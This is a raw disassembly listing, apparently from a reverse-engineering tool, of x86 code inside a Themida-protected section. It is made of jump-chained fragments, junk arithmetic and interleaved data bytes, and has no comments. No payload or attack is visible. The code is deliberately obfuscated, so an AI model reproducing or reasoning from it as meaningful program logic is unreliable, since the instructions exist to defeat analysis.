		dw 8900h
		dd 0FD88240Ch, 0EF88D5F6h, 0E9516659h, 0AB27h
; ---------------------------------------------------------------------------


loc_550FE4:				; CODE XREF: Themida_:00557206j
		push	edi
		push	71372292h
		pop	edi
		push	ebp
		mov	ebp, 216421DCh
		push	esi
		mov	esi, 4277185Eh
		or	esi, 7DEF2B2Ah
		dec	esi
		sub	esi, 4AAA23E0h
		jmp	loc_55FF96
; ---------------------------------------------------------------------------
		db 0B9h, 0A5h, 66h
		dd 0E1811C07h, 0AB9380Fh, 4E9C141h, 3D81E981h, 0E1C13821h
		dd 7AE98102h, 1E239C1h,	240C8BC8h, 4C481h, 0C3010000h
		dd 241C8758h, 0E117E9h,	4ED6F700h, 2BBF5746h, 291A4565h
		dd 0D6F75FFEh, 303EE81h, 0F331AA17h, 8BDF015Eh,	0A1E9241Ch
		dd 810000B0h, 2C4CCAC7h, 32EE816Bh, 0E9180E44h,	946Fh
; ---------------------------------------------------------------------------


loc_551070:				; CODE XREF: Themida_:00565442j
		and	ebp, 3E27161Fh
		push	ecx
		mov	ecx, 61C77D97h
		and	ebp, ecx
		pop	ecx
		xor	ebp, 5B6738C2h
		sub	eax, ebp
		pop	ebp
		push	edx
		mov	edx, 45863EB4h
		push	ecx
		mov	ecx, 78175C49h
		and	edx, ecx
		push	dword ptr [esp]
		jmp	loc_55AE25
; ---------------------------------------------------------------------------
		dw 0FBB9h
		dd 29744375h, 122D59CBh, 1315B70h, 4DE955D8h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5510B3:				; CODE XREF: Themida_:00559D63j
		push	ebx
		push	esi
		mov	esi, 119055BBh
		mov	ebx, esi
		jmp	loc_564068
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 5Fh
		dd 299BE01Fh, 8597E9D9h, 0D1BB0000h, 0E913EC5Dh, 98A1h
		dd 0C0EACB80h, 0CBFE03E3h, 807FE380h, 0D800AEC3h, 0C3305B5Bh
		dd 0FFC0B60Fh, 62688734h, 8900000Dh, 0CBD242Ch,	0E926A14Dh
		dd 1405h
; ---------------------------------------------------------------------------


loc_551104:				; CODE XREF: Themida_:00556ABCj
		add	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55BA2C
; ---------------------------------------------------------------------------
		dd 0DD635CB9h, 59CF012Eh, 0B850D701h, 7C9B1EB2h, 0D926D525h
		dd 1BD555Dh, 29000000h,	0D0F75DE8h, 561BBD55h, 19E94D51h
		dd 0BD00008Ch, 7C035339h, 4CE9DD31h, 57000091h,	4BFh, 5FFA0100h
		dd 3DA4E9h, 42E95600h, 530000A8h, 0D1778F68h, 0D9095B58h
		dd 4CC9815Bh, 501AE724h, 793FCAB8h, 58C1313Ah, 4021F181h
		dd 63E96486h
		db 7Eh,	2 dup(0)
aNsP		db '­é#¯',0             ; DATA XREF: Themida_:0054FE30o
		db 0
; ---------------------------------------------------------------------------


loc_551199:				; CODE XREF: Themida_:0055343Ej
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		and	ecx, edx
		pop	edx
		shr	ecx, 0Ah
		push	esi
		push	ebx
		mov	esi, [esp]
		push	edi
		sub	esp, 4
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		jmp	loc_557D20
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 8758C329h, 895C241Ch, 8268240Ch, 0E936F791h, 0F168h
; ---------------------------------------------------------------------------


loc_5511E4:				; CODE XREF: Themida_:0055C777j
		add	esi, 178715E3h
		pop	ebx
		inc	esi
		shr	esi, 8
		shl	esi, 4
		dec	esi
		add	esi, 357305B6h
		sub	esi, 3B540D81h
		add	ecx, esi
		jmp	loc_55EC11
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 24248B24h, 0FF241489h, 0E9042474h, 0DC91h, 4C6815Eh
		dd 83000000h, 343304C6h, 24343124h, 0E9243433h,	121EFh
		dd 4CF181h, 0D1F76DE3h,	72ECE949h, 14330000h, 24143124h
		dd 624EE9h
		db 0
; ---------------------------------------------------------------------------


loc_551249:				; CODE XREF: Themida_:0055CB00j
		push	ebx
		mov	ebx, 25F5148h
		add	ebx, 12976925h
		dec	ebx
		not	ebx
		inc	ebx
		xor	ebx, 0D0345BF1h
		xor	esi, ebx
		jmp	loc_5527DD
; ---------------------------------------------------------------------------


loc_551266:				; CODE XREF: Themida_:005554A1j
		mov	edx, 1C981D89h
		mov	ebp, edx
		pop	edx
		inc	ebp
		add	ebp, 621DF00Ch
		push	edi
		jmp	loc_5517DC
; ---------------------------------------------------------------------------
		db 81h
		dd 905BF0C3h, 242C8B7Ch, 52E18951h, 12FF0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55128D:				; CODE XREF: Themida_:005569E8j
		pop	ecx
		push	ecx
		mov	ecx, 37F90087h
		and	ecx, 5E780F01h
		add	ecx, 1A6D62FBh
		jmp	loc_561DEC
; ---------------------------------------------------------------------------
		db 0BEh, 1, 0Eh
		dd 0F3010560h, 3EBC15Eh, 4C7BEB81h, 0DA89CB4Ch,	0CEC7E95Bh
		dd 48F0000h, 24248B24h,	4B30F66h, 48E99C24h, 89FFFFECh
		dd 89502414h, 405E0h, 0E8830000h, 24048704h, 0E924248Bh
		dd 6C15h, 88A3B652h, 58E95AF3h,	5700002Ah, 0B850E789h
		dd 14D57D6Fh, 0BB53D8F7h, 2BA71FF5h, 1C8BD801h,	4C48124h
		dd 35000000h, 7F5A04E4h, 6EBB5348h, 432D0836h, 0BE56DBF7h
		dd 541156A5h, 0DAE9F301h, 83000113h, 0EB8104C4h, 0B2A7FDAh
		dd 0C381EB29h, 0B2A7FDAh, 0F330E9h, 0E9D80100h,	138A0h
		dd 0ABE68h, 24048900h, 0C07684B8h, 77F76810h, 0C890000h
		dd 8684B924h, 0C82948BEh, 70C18159h, 145A266h, 70E981C1h
		dd 5845A266h, 0E959CB31h, 0E637h, 24E4EA81h, 0E9592C0Ah
		dd 884Dh, 18497DB8h, 209C0D42h,	0D8F734D1h, 0C22DD0F7h
		dd 94792F2h, 24048BC2h,	8104C483h, 0B591EEF2h, 8BD5894Fh
		dd 0C4812414h, 4, 32DEA81h, 0EA8121D5h,	11A847D6h, 0C281EA01h
		dd 11A847D6h, 32DC281h,	515D21D5h, 2B956857h, 3C8B466Fh
		dd 4C48124h, 81000000h,	101792C7h, 83C78179h, 8999ADBDh
		dd 9FB8E9F9h, 0F7310000h, 8124348Bh, 4C4h, 0E38DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551402:				; CODE XREF: Themida_:0055DC6Fj
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_557DB7
; ---------------------------------------------------------------------------


loc_551414:				; CODE XREF: Themida_:005633F7j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5551A5
; ---------------------------------------------------------------------------


loc_55141F:				; CODE XREF: Themida_:00554F6Cj
		mov	edx, esp
		jmp	loc_55EDFB
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 4BA52h, 0D1010000h, 240C875Ah, 0B56DE95Ch, 48F0000h
		dd 24248B24h, 68241C89h, 772Ah,	83242489h, 5B042404h, 663868h
		dd 51D6E900h
		db 2 dup(0)
word_55145E	dw 2DADh		; DATA XREF: Themida_:0054FDC8o
		dd 76B402FEh, 4A4C582Dh, 32A1E959h, 34870000h, 2C895C24h
		dd 1E17E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55147A:				; CODE XREF: Themida_:00558EA1j
		push	ebx
		push	ebp
		push	ebx
		push	6B3C6E63h
		mov	ebx, [esp]
		jmp	loc_55E2C3
; ---------------------------------------------------------------------------


loc_55148A:				; CODE XREF: Themida_:00565090j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	28DCh
		mov	[esp], esi
		mov	esi, 7898714Bh
		sub	esi, 6834102Fh
		and	esi, 27CA6705h
		xor	esi, 683A9Fh
		xor	esi, 1476582Fh
		xchg	ebp, esi
		not	ebp
		xchg	ebp, esi
		push	esi
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		pop	esi
		sub	esi, 739C217Ah
		push	edx
		push	23EDh
		jmp	loc_5561F1
; ---------------------------------------------------------------------------


loc_5514D6:				; CODE XREF: Themida_:00559BB5j
		sub	esp, 4
		mov	[esp], eax
		push	36C140C5h
		mov	eax, [esp]
		add	esp, 4
		shr	eax, 6
		push	ebx
		mov	ebx, 6F083DD6h
		jmp	loc_553ADE
; ---------------------------------------------------------------------------
		dd 0F706E6C1h, 0EE814ED6h, 0FEFBFBBAh, 0A5ADE9h, 0FF5D5F00h
		dd 1C8B2434h, 4C48124h,	56000000h, 4EC81h, 24890000h, 24048124h
		dd 4, 8124348Bh, 4C4h, 4C68100h, 68000000h, 69CCh, 0B8240489h
		dd 29776490h, 0B951D8F7h, 0D6889B74h, 159C831h,	0F5BBE9C6h
		dd 0F740FFFFh, 459535D8h, 0D8F77161h, 0B5FEE956h, 0E9550000h
		dd 2F3h, 4437C681h, 7868189Ch, 89000078h, 0EC812404h, 4
		dd 0B9240C89h, 71F153B6h, 0F00F86B8h, 59C801B7h, 1DF3C681h
		dd 0C6295F33h, 1DF3EE81h, 5B585F33h, 5550C601h,	4673B7BDh
		dd 569EB839h, 0E83137D7h, 0F89BE9h, 240C8700h, 5352515Ch
		dd 89E950B3h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5515C3:				; CODE XREF: Themida_:00551E40j
		push	eax
		jmp	loc_55A28D
; ---------------------------------------------------------------------------
		db 0BAh, 0B9h, 4Dh
		dd 0C28153A8h, 51A966A8h, 0A62EA81h, 81423BDCh,	0B46EADC2h
		dd 8BD389B7h, 0C4812414h, 4, 0C15BDA21h, 0F28103E2h, 71C18F81h
		dd 55AD001h, 31195CB3h,	0E957C801h, 1345Ah, 592434FFh
		dd 8304C483h, 3C8904ECh, 4D0B6824h, 0A2E90000h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55161F:				; CODE XREF: Themida_:005645A0j
		pop	esp
		and	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		shr	ecx, 6
		jmp	loc_554BD9
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0D0h
		dd 0E9402639h, 8EF3h, 405E089h,	83000000h, 0FF5004C0h
		dd 58042474h, 0C8A9E9h,	81E18900h, 4C1h, 4C18300h, 0FFFF54E9h
		dd 4C481FFh, 28000000h,	348368D8h, 32E90000h, 5A0000F5h
		dd 81E28952h, 4C2h, 4B85000h, 0E9000000h, 0FFFFEB7Ch, 51241489h
		dd 10911E9h, 24048F00h,	8124248Bh, 0ED12A6F3h, 18E95041h
		dd 83000078h, 0BF5704C4h, 69E0CA5h, 137EEE9h, 59CF8100h
		dd 81034C7Ah, 5C42E5EFh, 0BBF7816Ch, 1B15377h, 0B1055FF8h
		dd 5601E67h, 7EA1FA4h, 0A42DD029h, 6807EA1Fh, 7390h, 0B9240C89h
		dd 0BDD3CFEh, 1B4FC181h, 0C1817E6Dh, 79905D2Ch,	10881E9h
		dd 5DE88900h, 599E957h,	565D0001h, 100F6E9h
		db 0
; ---------------------------------------------------------------------------


loc_551705:				; CODE XREF: Themida_:0055F2BBj
		pop	eax
		jmp	loc_558E07
; ---------------------------------------------------------------------------
aISl		db '‰$$é«Ì',0
		db 0
; ---------------------------------------------------------------------------


loc_551713:				; CODE XREF: Themida_:00563B1Fj
		mov	edi, 4
		add	ebp, edi
		jmp	loc_563692
; ---------------------------------------------------------------------------
aSvsR		db ')èVéœ',0
		dw 8800h
		dd 0C5FE5AD5h, 3016B050h, 0A1D3E9C5h, 0C6810000h, 4, 308FBB53h
		dd 814B3C7Eh, 7E308AEBh, 5BDE293Ch, 5C243487h, 89240C89h
		dd 1B5C68E1h, 0EEE90000h
		db 0C1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55175F:				; CODE XREF: Themida_:00552E38j
		shl	ebx, 1
		xor	ebx, 5E35F72h
		or	ebx, 10B80E14h
		push	eax
		push	esi
		push	54802712h
		pop	esi
		or	esi, 2A307091h
		jmp	loc_557A65
; ---------------------------------------------------------------------------
aYs		db 'Yé:Û',0
		align 2


loc_551786:				; CODE XREF: Themida_:00557E95j
		add	ebp, 685C2A0Ah
		sub	ebp, 51DE6F6Fh
		pop	edx
		push	eax
		mov	eax, 1B149B6h
		xor	eax, 1B149B2h
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		and	eax, ebx
		jmp	loc_555371
; ---------------------------------------------------------------------------
dword_5517AC	dd 0F4CBE9ADh, 1C8B0000h, 4C48324h, 6FF5C281h, 0C2817B0Dh
					; DATA XREF: Themida_:0054FDE4o
		dd 914549Bh, 595AE9h, 0F2295800h, 2698E95Eh, 0D8F60000h
		dd 0E905E8C0h, 0C013h
; ---------------------------------------------------------------------------


loc_5517DC:				; CODE XREF: Themida_:00551276j
		mov	edi, 6BF85D53h
		sub	eax, 69D23C3Eh
		jmp	loc_55A9E6
; ---------------------------------------------------------------------------


loc_5517EB:				; CODE XREF: Themida_:00559D33j
		sub	esi, eax
		pop	eax
		sub	ebp, 1F86A72h
		jmp	loc_560B5B
; ---------------------------------------------------------------------------


loc_5517F9:				; CODE XREF: Themida_:00561623j
		push	edx
		push	edi
		push	599E4160h
		pop	edi
		dec	edi
		jmp	loc_555173
; ---------------------------------------------------------------------------


loc_551807:				; CODE XREF: Themida_:00564AF1j
		mov	ecx, esp
		push	ebx
		mov	ebx, 17E35927h
		add	ebx, 789F7C8Dh
		shl	ebx, 3
		sub	ebx, 1AFD6E6Ah
		shr	ebx, 8
		xor	ebx, 670314D2h
		push	edx
		jmp	loc_550141
; ---------------------------------------------------------------------------
byte_55182D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054FE6Co
		dd 48E95124h
		db 0FEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_551837:				; CODE XREF: Themida_:0055ADFAj
		neg	ecx
		or	ecx, 72342118h
		xor	ecx, 0F3B5FDFAh
		add	esi, ecx
		pop	ecx
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	628Ch
		jmp	loc_556DD7
; ---------------------------------------------------------------------------
		db 89h
		dd 4C581E5h, 81000000h,	4C5h, 242C3300h, 33242C31h, 835C242Ch
		dd 79E902E9h, 870000BFh, 248B243Ch, 4C38124h, 0E9000000h
		dd 6E95h, 4BDFB850h, 0AE050093h, 0E96F6706h, 323Ah, 0A63EF781h
		dd 0FB2941B8h, 81CB015Fh, 0CB3BB9C3h, 68575168h, 59C0FF8h
		dd 0FE7815Fh, 0F774AA5Ch, 79C781D7h, 89578F23h,	0CB015FF9h
		dd 0BBE95959h
		db 0F5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5518D3:				; CODE XREF: Themida_:0054FFD9j
		mov	edi, 60F455E4h
		neg	edi
		xor	edi, 0CB5D459Fh
		add	edx, edi
		pop	edi
		add	eax, 4F396024h
		sub	eax, edx
		sub	eax, 4F396024h
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5523AF
; ---------------------------------------------------------------------------
dword_551900	dd 0FF1C77FFh, 48B2434h, 4C48324h, 7CFAE952h ; DATA XREF: Themida_:0054FD44o
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551912:				; CODE XREF: Themida_:005541C4j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_54FF17
; ---------------------------------------------------------------------------
		dd 1665B66h, 0BD6655D8h, 0EC811BF5h, 4,	0D062E9h
		db 0
; ---------------------------------------------------------------------------


loc_551945:				; CODE XREF: Themida_:0056191Aj
		not	ebp
		add	ebp, 5243565Dh
		jmp	loc_55A05D
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4C4h, 76C06800h, 14890000h, 518D6824h, 8F540000h, 0BE562404h
		dd 4, 4247401h,	8124348Bh, 4C4h, 89525A00h, 4C281E2h, 0E9000000h
		dd 51DCh
; ---------------------------------------------------------------------------


loc_55198C:				; CODE XREF: Themida_:005585EDj
		push	dword ptr [esp]
		pop	ebx
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5636C4
; ---------------------------------------------------------------------------


loc_5519A4:				; CODE XREF: Themida_:00563310j
		pop	edi
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		or	eax, eax
		jz	loc_5633DB
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55443B
; ---------------------------------------------------------------------------
		dw 489h
		dd 2718E924h, 0C2800001h, 4509E955h, 0D9010000h, 1EBCE95Bh
		db 1, 0
; ---------------------------------------------------------------------------


loc_5519E6:				; CODE XREF: Themida_:0055C65Dj
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_55B920
; ---------------------------------------------------------------------------


loc_551A04:				; CODE XREF: Themida_:0055C21Cj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_550446
; ---------------------------------------------------------------------------


loc_551A16:				; CODE XREF: Themida_:0055BF6Bj
		pop	ecx
		pop	edx
		pop	ecx
		neg	ebp
		jmp	loc_55043E
; ---------------------------------------------------------------------------
aZsyc		db 'Zéy—',0
		align 2
		dw 0BF57h
		dd 6446399Dh, 3C8BF801h, 3525E924h, 555D0001h, 4BDh, 5DE90100h
		dd 5C240C87h, 0D63AE9h,	0E9DDF700h, 0FEA0h, 4C27A9B8h
		dd 0CCE12D03h, 0C101E88Ch, 582434FFh, 1DB3E950h, 81580001h
		dd 1277A0EDh, 45F58162h, 0E9A201D1h, 1335Dh, 7F3BD55h
		dd 0ED8102DEh, 0BBF6CF47h, 0AB139F2Dh, 5E82955h, 55AB139Fh
		dd 51F0015Dh, 0B931B6B9h, 0F181494Eh, 85E0919h,	8B59C801h
		dd 0EC812434h, 4, 89240489h, 405E0h, 9680000h, 89000023h
		dd 0FFE92434h
		db 0FAh, 2 dup(0)
byte_551AC3	db 0ADh			; DATA XREF: Themida_:0054FD74o
		dd 5651D831h, 0F14FE9h,	636A6800h, 3C890000h, 51E78924h
		dd 3B6C00B9h, 0D1F7493Dh, 6C04C181h, 0CF013D3Bh, 4EC8159h
		dd 89000000h, 4BD242Ch,	29000000h, 6A75E9EFh, 0FF660000h
		dd 0E99C2404h, 0FFFFE40Fh
dword_551B08	dd 833C77FFh, 348904ECh, 0FE685024h, 8B274272h,	0C4812404h
					; DATA XREF: Themida_:0054FEB8o
		dd 4, 0BD169A35h, 34632D41h, 1FE962B6h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551B2F:				; CODE XREF: Themida_:00557AD2j
		pop	eax
		jmp	loc_55E7E0
; ---------------------------------------------------------------------------


loc_551B35:				; CODE XREF: Themida_:00564459j
		add	ecx, 2
		xor	ecx, [esp]
		jmp	loc_550021
; ---------------------------------------------------------------------------


loc_551B43:				; CODE XREF: Themida_:0055B22Aj
		and	ebx, ecx
		jmp	loc_560824
; ---------------------------------------------------------------------------


loc_551B4A:				; CODE XREF: Themida_:005571BBj
		add	esp, 4


loc_551B4D:				; CODE XREF: Themida_:loc_563597j
		push	ebp
		mov	ebp, esp
		push	1570h
		mov	[esp], ebx
		jmp	loc_559E24
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 8Fh
		dd 89FFFFF8h, 61E95AD5h
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551B6B:				; CODE XREF: Themida_:00556096j
		mov	esi, 2DA3269Ah
		xor	esi, 377D3B6Ah
		not	esi
		or	esi, 3F1029A8h
		push	eax
		jmp	loc_55CA56
; ---------------------------------------------------------------------------


loc_551B84:				; CODE XREF: Themida_:00557F68j
		sub	esi, edx
		sub	esi, 5A3C0816h
		pop	edx
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_5584A2
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		push	1B55h
		mov	[esp], edi
		mov	edi, 50C73B28h
		shr	edi, 1
		push	ebp
		push	ebx
		mov	ebx, 6A0A06EFh
		mov	ebp, ebx
		jmp	loc_550B30
; ---------------------------------------------------------------------------


loc_551BBF:				; CODE XREF: Themida_:00550EACj
		add	edx, 4DF1442Bh
		push	4988h
		jmp	loc_558AE1
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9F889EFh, 0C1CEh
aNups6		db '­UPé6š',0           ; DATA XREF: Themida_:0054FE4Co
		align 10h
		dd 4C181h, 80E90000h, 81000035h, 4C4h, 34C5E900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_551BF6:				; CODE XREF: Themida_:00555755j
		mov	ebx, [esp]
		jmp	loc_54FF70
; ---------------------------------------------------------------------------
		dw 0D989h
		dd 22F8685Bh, 2C890000h, 67E5BD24h, 0E90902A3h,	83242C8Bh
		dd 0E1C104C4h, 0B52E906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551C1E:				; CODE XREF: Themida_:005573B3j
		pop	ebp
		shl	ecx, 1
		xor	ecx, 4D2824EBh
		push	ebp
		jmp	loc_5617AA
; ---------------------------------------------------------------------------
		db 5Ah,	1, 0CDh
		dd 5DE92959h, 5324148Bh, 0B850E389h, 7D0A3267h,	505E8C1h
		dd 4DB84D1Bh, 7A91E9h
		db 0
; ---------------------------------------------------------------------------


loc_551C4D:				; CODE XREF: Themida_:005587DEj
		pop	esp
		jmp	loc_556AE1
; ---------------------------------------------------------------------------


loc_551C53:				; CODE XREF: Themida_:0055350Ej
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_553B76
; ---------------------------------------------------------------------------
		db 68h,	44h, 2Fh
		dd 0C890000h, 511E6824h, 41596A4Ch, 56D1F749h, 0EE0CE9BEh
		dd 0FFEE8141h, 81FFFFFFh, 7B700DF6h, 0FFF1096Dh, 815E2434h
		dd 4C4h, 75CDE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551C92:				; CODE XREF: Themida_:0055DA68j
		mov	esp, [esp]
		jmp	loc_54FF17
; ---------------------------------------------------------------------------
		dw 0C821h
		dd 592434FFh, 4C481h, 0E9400000h, 0AAF0h, 0F008E956h, 5590000h
		dd 3B813D7Fh, 8AC68E05h, 4E98177h, 0E970394Bh, 0AEF3h
		dd 0EC83D204h, 24148904h, 2ECB68h, 24048900h, 0DCF68BB4h
		dd 0C003E4C0h, 0C2E907ECh, 8100010Bh, 4C4h, 0A0E3E900h
		dd 0B9510000h, 31A4799Dh, 0F706E9C1h, 20A1E9D9h
		db 2 dup(0)
word_551D02	dw 4ACh			; DATA XREF: Themida_:0054FE78o
a2sN		db '2é¾N',0
		align 2
		dw 0EF83h
		dd 81B7E904h, 0C7810000h, 4, 8104C783h,	4ECh, 243C8900h
		dd 42474FFh, 24048F5Fh,	3F09685Ch, 34890000h, 0E9E68924h
		dd 0B2D4h, 31240433h, 4332404h,	85D5E924h, 81040000h, 0B551E828h
		dd 0D8E580BFh, 0C23FE9h
		db 0
; ---------------------------------------------------------------------------


loc_551D59:				; CODE XREF: Themida_:0055527Bj
		xor	cl, 2Eh
		xor	cl, 5
		add	dl, cl
		pop	ecx
		not	dl
		add	dl, 57h
		mov	bl, dl
		jmp	loc_5593C2
; ---------------------------------------------------------------------------
word_551D6E	dw 34FFh		; DATA XREF: Themida_:0054FE68o
		dd 1A90E924h
		db 1, 0
word_551D76	dw 0BB53h		; DATA XREF: Themida_:0054FCF4o
		dd 38h,	4784E950h, 90680000h, 5E0AFB21h, 5691C681h, 5F56275Ch
		dd 0F699E95Eh, 7CE90000h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551D9B:				; CODE XREF: Themida_:0055F810j
		mov	ebp, esp
		jmp	loc_55905D
; ---------------------------------------------------------------------------
		dw 26BAh
		dd 52013133h, 57243481h, 5E2B9813h, 1357F681h, 148B2B98h
		dd 9D36824h, 76E90000h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551DC3:				; CODE XREF: Themida_:005595A2j
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_55A368
; ---------------------------------------------------------------------------


loc_551DE1:				; CODE XREF: Themida_:0055EBE2j
		mov	[esp], ecx
		push	200000h
		jmp	loc_55FB88
; ---------------------------------------------------------------------------


loc_551DEE:				; CODE XREF: Themida_:005587F6j
		pop	edx
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 68AF354Dh
		dec	ebp
		add	ebp, 542F46AFh
		not	ebp
		inc	ebp
		shr	ebp, 6
		or	ebp, 50656D3Fh
		add	ebp, 0AE9210C5h
		add	edx, ebp
		jmp	loc_55C1AF
; ---------------------------------------------------------------------------
		dd 2404A30Fh, 0B909E99Ch, 4050000h, 0E9000000h,	0EDCCh
; ---------------------------------------------------------------------------


loc_551E34:				; CODE XREF: Themida_:00553D06j
		mov	[esp], ebp
		push	esp
		jmp	loc_56141E
; ---------------------------------------------------------------------------


loc_551E3D:				; CODE XREF: Themida_:00563993j
		xchg	ebp, edi
		pop	ebp
		jmp	loc_5515C3
; ---------------------------------------------------------------------------


loc_551E45:				; CODE XREF: Themida_:00552E62j
		jz	loc_558546
		push	31B1h
		mov	[esp], ecx
		push	esi
		jmp	loc_56097A
; ---------------------------------------------------------------------------


loc_551E59:				; CODE XREF: Themida_:00561DFEj
		mov	esi, 66452CE0h
		jmp	loc_564500
; ---------------------------------------------------------------------------
		db 1
		dd 7BBA52D7h, 8154613Ah, 0AB3BF2F2h, 42D2F70Ah,	0F281D2F7h
		dd 6D455FBAh, 0E95AD729h, 367Ch, 555DE801h, 412773BDh
		dd 5DEB0167h, 10B2E9h, 2434FF00h, 0EBE95658h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551E9F:				; CODE XREF: Themida_:0056307Dj
		push	edi
		push	ebx
		mov	ebx, 3C5C043Ah
		mov	edi, 30951E8Dh
		jmp	loc_554D43
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 6804EA83h, 3E61h, 0FF241489h,	0E9042474h
		dd 87Ch, 5007E6C1h, 4177FB8h, 58C63139h, 0E444C681h, 0EF81D0EEh
		dd 51ED7A02h, 0C781F701h, 51ED7A02h, 4B67E9h, 24348900h
		dd 5624148Bh, 0C681E689h, 4, 12749E9h, 0EC815D00h, 4, 0B8240489h
		dd 70EA6ED5h, 48BC229h,	4C48124h, 1000000h, 0CAC6E9C2h
		dd 0E9540000h, 10459h, 8B241C33h, 89662424h, 0DCE9240Ch
		dd 81FFFFDFh, 4C2h, 24143300h, 33241431h, 565C2414h, 8DFC4CBEh
		dd 5EF33160h, 1646CA05h, 2DD8012Bh, 2B1646CAh, 0E8DEE95Bh
		dd 815C0000h, 0F0FAFC7h, 0E9FB01EEh, 2F8Bh
; ---------------------------------------------------------------------------


loc_551F74:				; CODE XREF: Themida_:0055496Aj
		add	edi, 365B6FA9h
		jmp	loc_556203
; ---------------------------------------------------------------------------


loc_551F7F:				; CODE XREF: Themida_:0055CC1Fj
		inc	eax
		jmp	loc_55E378
; ---------------------------------------------------------------------------
		db 31h,	34h, 24h
		dd 8B243433h, 0C892424h, 0DF81E924h, 0D101FFFFh, 5224148Bh
		dd 9D68E289h, 89000000h, 0A6BD242Ch, 45657D5Bh,	42FBCD81h
		dd 0F58164E3h, 65FF5BFBh, 515DEA01h, 4B9h, 59CA0100h, 0E9241433h
		dd 4F61h, 2404D366h, 0DF41E99Ch, 2BDFFFFh, 1000000h, 0C335DE9h
		dd 240C3124h, 5C240C33h, 24042166h, 0DF25E99Ch,	2C8BFFFFh
		dd 4C48324h, 4EE81h, 0E9560000h, 11272h
; ---------------------------------------------------------------------------


loc_552004:				; CODE XREF: Themida_:00562B51j
		sub	bl, al
		push	4C12h
		mov	[esp], ecx
		jmp	loc_5539A8
; ---------------------------------------------------------------------------


loc_552013:				; CODE XREF: Themida_:00555736j
		push	36E5782Bh
		jmp	loc_561E79
; ---------------------------------------------------------------------------
		db 68h,	3Dh, 21h
		dd 34FF48EDh, 0FFE95F24h, 810000C6h, 4C7h, 4EF8100h, 0E9000000h
		dd 0E1CCh, 80E9C301h, 50000086h, 0E9243C87h, 0EFA7h
dword_55204C	dd 240C8B66h, 8904EC83h, 0EC83241Ch, 48F5404h, 0BA525024h
					; DATA XREF: Themida_:0054FCCCo
		dd 872589h, 4A7AC281h, 0ECE97511h, 89000028h, 21B951E6h
		dd 0D1601302h, 6CE981E1h, 832AB072h, 74E904ECh,	87000048h
		dd 248B240Ch, 9FCCE924h, 148B0000h, 4C48124h, 0FF000000h
		dd 0D4E92434h, 8B000039h, 0BF0F2424h, 44968C8h,	0C890000h
		dd 0DE61E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5520B6:				; CODE XREF: Themida_:0055B846j
		add	dword ptr [esp], 4
		jmp	loc_55BB53
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 242C8900h, 4BDh, 0BAEA8100h, 8174F01Eh, 0E24254C2h
